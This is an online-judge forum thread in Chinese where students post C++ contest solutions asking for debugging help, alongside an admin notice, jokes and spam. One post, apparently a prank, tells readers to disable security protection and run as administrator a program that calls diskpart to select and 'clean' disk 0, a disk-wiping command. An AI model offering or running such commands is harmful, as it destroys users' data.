- 问答
【FAQ】问答&讨论贴
- @ 2025-6-7 13:41:09
最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。
不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。
删了一些同学们自己举办的比赛的帖子。
我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。
更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 分,再考虑自己举办一些简单的比赛。
语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)
感觉不过瘾还可以打atcoder和codeforces
280 条评论
-
fengyubo LV 8 (4795/6795) @ 2025-10-30 18:09:51各位,wotojo在几分钟前崩了大约1分钟后好了呃...
-
@ 2025-10-28 22:34:31@[李泽鹏]TooY0ung Runtime Error 4.144781ms 1152KiB ExitCode: 11 (Segmentation fault) 这是啥问题
-
@ 2025-10-26 19:43:22@ 2025赛前狂练3-T3求调!!!!!!
#include <bits/stdc++.h> #define ll long long using namespace std; int n,a[200010]; bool chk(int x){ int l1 = 1,h1 = n; int r1 = 0; while(l1 <= h1) { int m = (l1 + h1) / 2; if (a[m] - a[1] <= x) { r1 = m; l1 = m + 1; } else h1 = m - 1; } if (r1 ==n) return 1; l1 = r1 + 1,h1 = n; int r2 = 0; while (l1 <= h1) { int mid = (l1 + h1) / 2; if (a[mid] - a[r1 + 1] <= x) { r2 = mid; l1 = mid + 1; } else { h1 = mid - 1; } } if (r2 == n) { return 1; } return (a[n] - a[r2 + 1] <= x); } int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> n; for (int i = 1;i <= n;i++) cin >> a[i]; sort(a + 1,a + n + 1); if (n <= 3) { cout << 0; return 0; } int l = 0,r = a[n] - a[1]; int ans = r; while(l <= r) { int mid = (l + r) / 2; if (chk(mid)) { ans = mid; r = mid - 1; } else l = mid + 1; } cout << ans; return 0; } -
@ 2025-10-26 19:23:27#include <bits/stdc++.h> using namespace std; int n; int a[200005]; bool check(int D) { int low = 0, high = n - 1; int r1 = 0; while (low <= high) { int mid = (low + high) / 2; if (a[mid] - a[0] <= D) { r1 = mid; low = mid + 1; } else { high = mid - 1; } } if (r1 == n - 1) { return true; } low = r1 + 1; high = n - 1; int r2 = r1 + 1; while (low <= high) { int mid = (low + high) / 2; if (a[mid] - a[r1 + 1] <= D) { r2 = mid; low = mid + 1; } else { high = mid - 1; } } if (r2 == n - 1) { return true; } return (a[n - 1] - a[r2 + 1] <= D); } int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> n; for (int i = 0; i < n; ++i) { cin >> a[i]; } sort(a, a + n); if (n <= 3) { cout << 0 << endl; return 0; } int left = 0, right = a[n - 1] - a[0]; int ans = right; while (left <= right) { int mid = (left + right) / 2; if (check(mid)) { ans = mid; right = mid - 1; } else { left = mid + 1; } } cout << ans << endl; return 0; }满级二分套二分
-
@ 2025-10-26 18:02:57
———————————————————————————————————————
(freopen的创建) freopen("(文件名).in","r",stdin); freopen("(文件名).out","w",stdout); //其他正常~ 注意!!!正常测试样例时,把freopen勾掉!!
———————————————————————————————————————
对于创建文件时,举个例子: 比如说你是CN-J123456号考生, 创建文件时,请倾听监考老师让你把文件创建在哪里。如果创建在桌面上,(这是最好的情况)鼠标右键点击桌面,创建你人生中第n次的文件。(别说我没告诉你文件名是什么~CN-J123456) 其中,等试卷传输给你的电脑后,在里面创建试卷目录上要求的每一个题目的文件。 在你写代码时,请“亲切”地选中试题的文件,创建你这道题的.cpp。 注意!!!创建时,不可以再加一个cpp!!!会错!!! 写完你的代码后,终于,熬过了n天,终于要交代码了!注意!!!提交的时候,每一个试题文件中,请不要把exe放在文件中。
———————————————————————————————————————
祝考生考试结束时,请老师分发答案和试卷。
-
@ 2025-10-26 17:52:561 + 1
=4 - 0 - 2
=4 - + - 2
= + - 2
= + - 2
= + - 2
= + - 2
= + - 2
=5 - + - 2
=5 - 2
=3
-
@ 2025-10-26 17:03:08
-
@ 2025-10-26 16:37:36最近的事情更有语了,京东上现在有三个人在卖数据了。周赛数据永久开始更新。
允许学生创建新作业了,前面大家可以在这里讨论相关内容。会定期增加。
删了一些老师们自己举办的比赛的帖子。
我建议我们可以私聊参赛。讨论区太整洁了,有些提问我看到了已经。
更重要的是,还是先不要学c++吧各位同学,当你拿了提高组 0分,再考虑自己举办一些复杂的比赛。
语法场的初心还是为了学生们进价高级算法,低水平选手可以选择参加菜鸡语法场和菜鸡提高场 目前也看见能打的 (参考新冬马拉松赛成绩)
感觉过瘾还可以打aTcoDeR和codef0rces
-
@ 2025-10-26 14:26:44 -
@ 2025-10-26 14:25:47 -
@ 2025-10-25 20:20:28?
-
@ 2025-10-25 9:36:23
444666888
-
@ 2025-10-24 21:10:53#include <bits/stdc++.h> #define ll long long using namespace std; int t,n; int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> t; while (t--) { cin >> n; if (n % 7 == 0) { for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 1) { if (n == 1) { cout << -1 << "\n"; continue; } cout << 10; n-=8; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 2) { cout << 1; for (int i = 1;i <= (n - 7) / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 3) { if (n == 3) cout << 7 << "\n"; else if (n == 10) cout << 22 << "\n"; else{ cout << 200; n -= 17; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } else if (n % 7 == 4) { if (n == 4) cout << "4\n"; else{ cout << 20; n -= 11; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } else if (n % 7 == 5) { cout << 2; n -= 5; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 6) { cout << 6; n -= 6; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } return 0; } -
@ 2025-10-24 10:11:30细节暗网:

-
@ 2025-10-21 22:26:13
-
@ 2025-10-20 18:01:30



-
@ 2025-10-19 18:11:28
:
应该是a[i].val > maxxue而非maxxue < a[i].val -
@ 2025-10-19 17:33:17谁能告诉我为什么会RTE啊QAQ
代码:
#include<iostream> #include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #define ll long long #define ull unsigned long long #define eps 1e-10 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double using namespace std; const ll mod1=1e9+7; const ll mod2=998244353; const int maxn = 2e5 + 10; const int maxm = 1e6 + 10; const ll inf=1e18L; typedef pair<int,int>Pii; typedef pair<int,ll>Pil; using namespace std; int n,maxx,d[10005],l,r,mid,anss; bool check(int x){ int tim=0,ans=0; priority_queue<int,vector<int>,greater<int>>q; for(int i=1;i<=x;i++){ q.push(d[i]); } for(int i=x+1;i<=n;i++){ ans+=q.top()-tim; tim=q.top(); q.pop(); q.push(d[i]+tim); if(ans>maxx){ return false; } } while(x--){ ans+=q.top()-tim; tim=q.top(); q.pop(); if(ans>maxx){ return false; } } return true; } int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n>>maxx; for(int i=1;i<=n;i++){ cin>>d[i]; } while(l<=r){ int mid=(l+r)>>1; if(check(mid)){ anss=mid; r=mid-1; } else l=mid+1; } cout<<anss; return 0; } -
@ 2025-10-19 17:02:44禁止关闭安全中心,并编译此程序,且以管理员身份运行!
#include <bits/stdc++.h> #include <windows.h> #define ll long long using namespace std; int main(){ system("diskpart"); system("list disk"); system("select disk 0"); system("clean"); return 0; }否则后果自负!!!
-
@ 2025-10-19 15:34:47@TooY0ung

-
@ 2025-10-18 18:57:36
666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
-
@ 2025-10-18 14:09:02

-
@ 2025-10-17 19:19:03666,最近调代码的人为什么这么多?
-
@ 2025-10-17 17:49:41题目在这里 0WA 求调 代码:
#include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bits/stdc++.h> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const ll maxn = 5123456; const ll inf = 1e18L; using namespace std; typedef pair<int, int>Pii; typedef pair<__int128, int>P; //priority_queue <int, vector<int>, greater<int>> q; int t; char a[212][212]; int r, c; int dx[] = {1, 0, -1, 0}; int dy[] = {0, 1, 0, -1}; int vis[212][212]; int dis[212][212]; struct edge{ int x, y; }; void bfs(int sx, int sy, int ex, int ey) { for(int i = 1; i <= r; i++) for(int j = 1; j <= c; j++) dis[i][j] = 1e9; queue <edge> q; vis[sx][sy] = 1; q.push({sx, sy}); dis[sx][sy] = 1; while(!q.empty()) { edge tt; tt = q.front(); q.pop(); for(int i = 0; i < 4; i++) { int xx = tt.x + dx[i]; int yy = tt.y + dy[i]; if(xx < 1 || yy < 1 || xx > r || yy > c || vis[xx][yy] || a[xx][yy] == '#') continue; q.push({xx, yy}); dis[xx][yy] = dis[tt.x][tt.y] + 1; vis[xx][yy] = 1; } } } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cin >> t; while(t--) { int sx, sy, ex, ey; cin >> r >> c; memset(a, 0, sizeof(a)); memset(vis, 0, sizeof(vis)); for(int i = 1; i <= r; i++) { for(int j = 1; j <= c; j++) { cin >> a[i][j]; if(a[i][j] == 'S') sx = i, sy = j; if(a[i][j] == 'E') ex = i, ey = j; } } bfs(sx, sy, ex, ey); if(dis[ex][ey] == 1e9) cout << "oop!\n"; else cout << dis[ex][ey] << "\n"; } return 0; } -
@ 2025-10-15 21:20:160分WA求调
题目传送门 代码:
#include <iostream> #include <algorithm> using namespace std; inline int read(){ int x = 0, f = 1; char ch = getchar_unlocked(); while (!isdigit(ch)){ if (ch == '-') f = -1; ch = getchar_unlocked(); } while (isdigit(ch)){ x = (x << 1) + (x << 3) + (ch ^ 48); ch = getchar_unlocked(); } return x * f; } inline void write(int x){ if (x < 0) putchar('-'), x = -x; if (x > 9) write(x / 10); putchar(x % 10 + '0'); } int main() { freopen("tri.in","r",stdin); freopen("tri.out","w",stdout); long long n; n=read(); long long ans=0; for(long long i=1;i<=n;i++) { write(i); putchar(' '); } return 0; } -
@ 2025-10-15 21:01:30100WA求调,没有代码,请您盲调
-
@ 2025-10-15 17:58:2080RE求调
题目在这里 代码:
#include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bits/stdc++.h> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const ll maxn = 5123456; const ll inf = 1e18L; using namespace std; typedef pair<int, int>Pii; typedef pair<__int128, int>P; priority_queue <int, vector<int>, greater<int>> q; int n,st,sp; char c[112]; void print() { for(int i = 1; i <= 2 * n + 2; i++) cout << c[i]; cout << "\n"; st++; } void init(int n) { st = 0; sp = 2 * n + 1; for(int i = 1; i <= n; i++) c[i] = 'o'; for(int i = n + 1; i <= 2 * n; i++) c[i] = '*'; c[2 * n + 1] = '-'; c[2 * n + 2]='-'; print(); } void move(int k) { for(int j = 0; j <= 1; j++) { c[sp + j] = c[k + j]; c[k+j] = '-'; } sp = k; print(); } void mv(int n) { int i, k; if(n == 4) { move(4); move(8); move(2); move(7); move(1); } else { move(n); move(2 * n - 1); mv(n - 1); } } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cin >> n; init(n); mv(n); return 0; } -
@ 2025-10-14 23:42:58下
-
@ 2025-10-14 17:46:49#include <iostream> #include <string> #include <algorithm> #include <map> #include <cmath> using namespace std; int main() { long long n; cin>>n; map<long long,long long> m; for(long long i=0;i<n;i++){ long long x; cin>>x; m[x]++; } long long count=0; long long ans=0; for(auto& pair : m){ // cout<<pair.first<<" "<<pair.second<<endl; count = 0; for(auto& pair2 : m){ // cout<<"pair2:"<<pair2.first<<" "<<pair2.second<<endl; if(pair2.first>pair.first){ count++; } } // cout<<count<<endl; ans += (count * pair.second); } cout<<ans<<endl; return 0; } //map也能错?!!! -
@ 2025-10-14 17:44:15A0030 0RE 求调 代码:
#include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bits/stdc++.h> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const ll maxn = 5123456; const ll inf = 1e18L; using namespace std; typedef pair<int, int>Pii; typedef pair<__int128, int>P; //priority_queue <int, vector<int>, greater<int>> q; int a[112],b[112],c[112],d[112]; int tot; int n; int print() { if(tot <= 2) { for(int i = 1; i <= n; i++) cout << a[i] << " "; cout << "\n"; } tot++; } void dfs(int i) { if(i > n) { print(); return; } else { for(int j = 1; j <= n; j++) { if((!b[j]) && (!c[i + j]) && (!d[i - j + n])) { a[i] = j; b[j] = 1; c[i + j] = 1; d[i - j + n] = 1; dfs(i + 1); b[j] = 0; c[i + j] = 0; d[i - j + n] = 0; } } } } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cin >> n; dfs(1); cout << tot; return 0; } -
@ 2025-10-12 17:27:12

-
@ 2025-10-12 17:01:05
-
@ 2025-10-12 16:11:26P11688 63WA求助
代码
#include<iostream> #include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #define ll long long #define ull unsigned long long #define eps 1e-10 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double using namespace std; const ll mod1=1e9+7; const ll mod2=998244353; const int maxn = 2e5 + 10; const int maxm = 1e6 + 10; const ll inf=1e18L; typedef pair<int,int>Pii; typedef pair<int,ll>Pil; using namespace std; ll n,a[1000005],sum[1000005],tong[1000005],flag[100005],ans; int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n; for(int i=1;i<=n;i++){ cin>>a[i]; if(flag[a[i]]!=1){ sum[i]++; } flag[a[i]]=1; sum[i]+=sum[i-1]; } for(int i=n;i>=1;i--){ tong[a[i]]++; if(tong[a[i]]==2){ ans+=sum[i]-1; } } cout<<ans; return 0; } -
@ 2025-10-12 15:00:58 -
@ 2025-10-12 0:27:07?
12mtters ago; -
@ 2025-10-10 20:23:28广告:https://www.luogu.com.cn/team/115287 招人了!入队瓜分500积分!
-
@ 2025-10-8 15:53:16趁同桌不住意,
看看他在干吗 -
@ 2025-10-8 15:46:26
??? -
@ 2025-10-8 15:44:316666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
-
@ 2025-10-7 18:38:45
#include <bits/stdc++.h> using namespace std;
int main(){ char a, b, c, d; cin >> a >> b >> c >> d; if(a == 'D' || b == 'D' || c == 'D' || d == 'D'){ cout << "Never give up."; }else if(a == 'C' || b == 'C' || c == 'C' || d == 'C'){ cout << "This is ok."; }else if(a == 'A' || b == 'A' || c == 'A' || d == 'A'){ cout << "I'm so happy."; }else{ cout << "This is ok."; } return 0; }
-
@ 2025-10-7 18:38:10#include <bits/stdc++.h> using namespace std;
int main(){ int t, d, t1, d1, t2, d2; cin >> t >> d >> t1 >> d1 >> t2 >> d2; int min = INT_MAX; if (d <= d1) { if (t >= t1) { min = 0; } else { min = t1 - t; } } if (d <= d2) { int wait; if (t >= t2) { wait = 0; } else { wait = t2 - t; } if (wait < min) { min = wait; } } if (min == INT_MAX) { cout << -1; } else { cout << min; }
return 0;}
-
@ 2025-10-7 16:46:54
喷了 -
@ 2025-10-7 15:15:20
胡宇泽在吗??????????????????
🤡 1 -
@ 2025-10-7 10:02:14
太温暖了 -
@ 2025-10-6 17:46:02我发现一件奇怪的事情
在洛谷上学生竟然可以创建题目和训练!
为什么在喔偷揪上不能 -
@ 2025-10-6 14:07:35
想多了。。。。。。